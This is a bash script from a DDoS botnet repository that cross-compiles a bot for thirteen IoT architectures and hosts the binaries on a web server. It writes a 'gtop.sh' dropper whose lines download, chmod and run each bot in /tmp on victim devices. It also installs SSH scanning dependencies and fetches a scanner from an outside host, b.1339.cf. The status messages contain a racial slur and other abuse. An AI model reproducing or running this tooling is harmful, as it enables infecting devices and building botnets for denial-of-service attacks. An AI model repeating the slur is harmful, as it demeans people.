Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Compilers/NSA-editv3.8bcf60.sh
5038 views
1
#!/bin/bash
2
clear
3
echo -e '\x1b[1;35m'
4
echo "###############################################################################"
5
echo "# ___ __________ ____ _______ _____ _______________.___. ___ #"
6
echo "# / _ \_/\ \______ \/_ |\ \ / _ \\______ \__ | | / _ \_/\ #"
7
echo "# \/ \___/ | | _/ | |/ | \ / /_\ \| _// | | \/ \___/ #"
8
echo "# | | \ | / | \/ | \ | \\____ | #"
9
echo "# |______ / |___\____|__ /\____|__ /____|_ // ______| #"
10
echo "# \/ \/ \/ \/ \/ #"
11
echo "###############################################################################"
12
echo -e '\x1b[0m'
13
if [ $# != 1 ]; then
14
echo "Usage: $0 [BOT]"
15
exit 0
16
fi
17
#########################################
18
###############wBotnames##################
19
#########################################
20
L1='jackmyarmv41' #armv4l
21
L2='jackmyarmv51' #armv5l
22
L3='jackmyarmv61' #armv6l
23
L4='jackmyi586' #i586
24
L5='jackmyi686' #i686
25
L6='jackmym68k' #m68k
26
L7='jackmymipsel' #mipsel
27
L8='jackmymips' #mips
28
L9='jackmypowerpc-440fp' #powerpc-440fp
29
L10='jackmypowerpc' #powerpc
30
L11='jackmysh4' #sh4
31
L12='jackmyx86_64' #x86_64
32
L13='jackmysparc' #sparc
33
#########################################
34
##############Wgetlinks##################
35
#########################################
36
armv4l='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2'
37
armv5l='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2'
38
armv6l='http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2'
39
i586='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2'
40
i686='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2'
41
m68k='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2'
42
mipsel='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2'
43
mips='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2'
44
powerpc440fp='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc-440fp.tar.bz2'
45
powerpc='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2'
46
sh4='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2'
47
x86_64='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2'
48
sparc='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2'
49
#########################################
50
################MISC#####################
51
#########################################
52
53
#########################################
54
##################WGETS##################
55
#########################################
56
echo -e "Wgetting cross-compilers be paitent you jagged rocky mountain teeth ass\e[0m"
57
if [ -d cross-compiler-armv4l ]
58
then
59
echo -e "\e[1;32mcross-compiler-armv4l is present, no need for wget\e[0m"
60
else
61
wget --quiet $armv4l
62
tar -xvjf cross-compiler-armv4l*
63
fi
64
if [ -d cross-compiler-armv5l ]
65
then
66
echo -e "\e[1;32mcross-compiler-armv5l is present, no need for wget\e[0m"
67
else
68
wget --quiet $armv5l
69
tar -xvjf cross-compiler-armv5l*
70
fi
71
if [ -d cross-compiler-armv6l ]
72
then
73
echo -e "\e[1;32mcross-compiler-armv6l is present, no need for wget\e[0m"
74
else
75
wget --quiet $armv6l
76
tar -xvjf cross-compiler-armv6l*
77
fi
78
if [ -d cross-compiler-i586 ]
79
then
80
echo -e "\e[1;32mcross-compiler-i586 is present, no need for wget\e[0m"
81
else
82
wget --quiet $i586
83
tar -xvjf cross-compiler-i586*
84
fi
85
if [ -d cross-compiler-i686 ]
86
then
87
echo -e "\e[1;32mcross-compiler-i686 is present, no need for wget"
88
else
89
wget --quiet $i686
90
tar -xvjf cross-compiler-i686*
91
fi
92
if [ -d cross-compiler-m68k ]
93
then
94
echo -e "\e[1;32mcross-compiler-m68k is present, no need for wget\e[0m"
95
else
96
wget --quiet $m68k
97
tar -xvjf cross-compiler-m68k*
98
fi
99
if [ -d cross-compiler-mipsel ]
100
then
101
echo -e "\e[1;32mcross-compiler-mipsel is present, no need for wget\e[0m"
102
else
103
wget --quiet $mipsel
104
tar -xvjf cross-compiler-mipsel*
105
fi
106
if [ -d cross-compiler-mips ]
107
then
108
echo -e "\e[1;32mcross-compiler-mips is present, no need for wget\e[0m"
109
else
110
wget --quiet $mips
111
tar -xvjf cross-compiler-mips*
112
fi
113
if [ -d cross-compiler-powerpc-440fp ]
114
then
115
echo -e "\e[1;32mcross-compiler-powerpc-440fp is present, no need for wget\e[0m"
116
else
117
wget --quiet $powerpc440fp
118
tar -xvjf cross-compiler-powerpc-440fp*
119
fi
120
if [ -d cross-compiler-powerpc ]
121
then
122
echo -e "\e[1;32mcross-compiler-powerpc is present, no need for wget\e[0m"
123
else
124
wget --quiet $powerpc
125
tar -xvjf cross-compiler-powerpc*
126
fi
127
if [ -d cross-compiler-sh4 ]
128
then
129
echo -e "\e[1;32mcross-compiler-sh4 is present, no need for wget\e[0m"
130
else
131
wget --quiet $sh4
132
tar -xvjf cross-compiler-sh4*
133
fi
134
if [ -d cross-compiler-x86_64 ]
135
then
136
echo -e "\e[1;32mcross-compiler-x86_64 is present, no need for wget\e[0m"
137
else
138
wget --quiet $x86_64
139
tar -xvjf cross-compiler-x86_64*
140
fi
141
if [ -d cross-compiler-sparc ]
142
then
143
echo -e "\e[1;32mcross-compiler-sparc is present, no need for wget\e[0m"
144
else
145
wget --quiet $sparc
146
tar -xvjf cross-compiler-sparc*
147
fi
148
rm -rf *.tar.bz2
149
echo -e "\e[1;35mDone, You Lazy fucking nigger.\e[0m"
150
sleep 3
151
#########################################
152
##############Compiling##################
153
#########################################
154
./cross-compiler-armv4l/bin/armv4l-gcc -static -lpthread -pthread -D armv4l -o $L1 $1 > /dev/null 2>&1
155
./cross-compiler-armv5l/bin/armv5l-gcc -static -lpthread -pthread -D armv5l -o $L2 $1 > /dev/null 2>&1
156
./cross-compiler-armv6l/bin/armv6l-gcc -static -lpthread -pthread -D armv6l -o $L3 $1 > /dev/null 2>&1
157
./cross-compiler-i586/bin/i586-gcc -static -lpthread -pthread -D i586 -o $L4 $1 > /dev/null 2>&1
158
./cross-compiler-i686/bin/i686-gcc -static -lpthread -pthread -D i686 -o $L5 $1 > /dev/null 2>&1
159
./cross-compiler-m68k/bin/m68k-gcc -static -lpthread -pthread -D m68k -o $L6 $1 > /dev/null 2>&1
160
./cross-compiler-mipsel/bin/mipsel-gcc -static -lpthread -pthread -D mipsel -o $L7 $1 > /dev/null 2>&1
161
./cross-compiler-mips/bin/mips-gcc -static -lpthread -pthread -D mips -o $L8 $1 > /dev/null 2>&1
162
./cross-compiler-powerpc-440fp/bin/powerpc-440fp-gcc -static -lpthread -pthread -D powerpc-440fp -o $L9 $1 > /dev/null 2>&1
163
./cross-compiler-powerpc/bin/powerpc-gcc -static -lpthread -pthread -D powerpc -o $L10 $1 > /dev/null 2>&1
164
./cross-compiler-sh4/bin/sh4-gcc -static -lpthread -pthread -D sh4 -o $L11 $1 > /dev/null 2>&1 > /dev/null 2>&1
165
./cross-compiler-x86_64/bin/x86_64-gcc -static -lpthread -pthread -D x86_64 -o $L12 $1 > /dev/null 2>&1
166
./cross-compiler-sparc/bin/sparc-gcc -o $L13 $1 > /dev/null 2>&1\
167
echo -e "\e[1;35mDone compiling binarys, stripped and bytes reduced.\e[0m"
168
mv jackmy* /var/www/html/
169
#########################################
170
#########Setting up gtop.sh##############
171
#########################################
172
echo -e "\e[1;35mTouching gtop.sh"
173
rm -rf gtop.sh
174
cd /var/www/html/; touch gtop.sh
175
echo -e "\e[1;35m Creating Payload now."
176
echo -e "\e[1;35mThis will take a few, be patient.."
177
sleep 2
178
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L1 && chmod +x $L1 && ./$L1">> gtop.sh
179
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L2 && chmod +x $L2 && ./$L2">> gtop.sh
180
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L3 && chmod +x $L3 && ./$L3">> gtop.sh
181
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L4 && chmod +x $L4 && ./$L4">> gtop.sh
182
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L5 && chmod +x $L5 && ./$L5">> gtop.sh
183
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L6 && chmod +x $L6 && ./$L6">> gtop.sh
184
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L7 && chmod +x $L7 && ./$L7">> gtop.sh
185
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L8 && chmod +x $L8 && ./$L8">> gtop.sh
186
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L9 && chmod +x $L9 && ./$L9">> gtop.sh
187
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L10 && chmod +x $L10 && ./$L10">> gtop.sh
188
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L11 && chmod +x $L11 && ./$L11">> gtop.sh
189
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L12 && chmod +x $L12 && ./$L12">> gtop.sh
190
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L13 && chmod +x $L13 && ./$L13">> gtop.sh
191
#########################################
192
###############ULIMIT####################
193
#########################################
194
cd /root
195
ulimit -u 999999;ulimit -n 999999
196
echo "#.bashrc">> .bashrc
197
echo "#ulimit set">> .bashrc
198
echo "ulimit -u 999999">> .bashrc
199
echo "ulimit -n 999999">> .bashrc
200
bash
201
#########################################
202
###############WGETS#####################
203
#########################################
204
$wgetLRAB='http://b.1339.cf/pbehfwe.zip'
205
$wgetscan='http://b.1339.cf/xhuudjm.py'
206
207
#########################################
208
######Installing mods for scanning#######
209
#########################################
210
echo -e "\e[0;31mInstalling Dependencies For Scanning"
211
sleep 3
212
echo -e "\e[0;31mFinishing up install...."
213
yum install cpan wget curl glibc.i686 -y
214
cpan force install Parallel::ForkManager
215
cpan force install IO::Socket
216
cpan force install IO::Select
217
sleep 2
218
yum install gcc php-devel php-pear libssh2 libssh2-devel
219
pecl install -f ssh2
220
touch /etc/php.d/ssh2.ini
221
echo extension=ssh2.so > /etc/php.d/ssh2.ini
222
cpan force install Net::SSH2
223
yum install python-paramiko
224
225
#########################################
226
################LRAB#####################
227
#########################################
228
echo -e "\e[0;31mScanner can be found in /root/scan"
229
sleep 2
230
mkdir /root/scan/
231
cd /root/scan/
232
wget --quiet $wgetLRAB -O LRAB.zip; unzip LRAB.zip; wget --quiet $wgetscan -O scan.py;
233
echo "I Got To Give Some Thanks To ShAy sense it was based off of NSA.sh"
234
echo "Done, Now Finish Your Self Replicating Flame Botnet"
235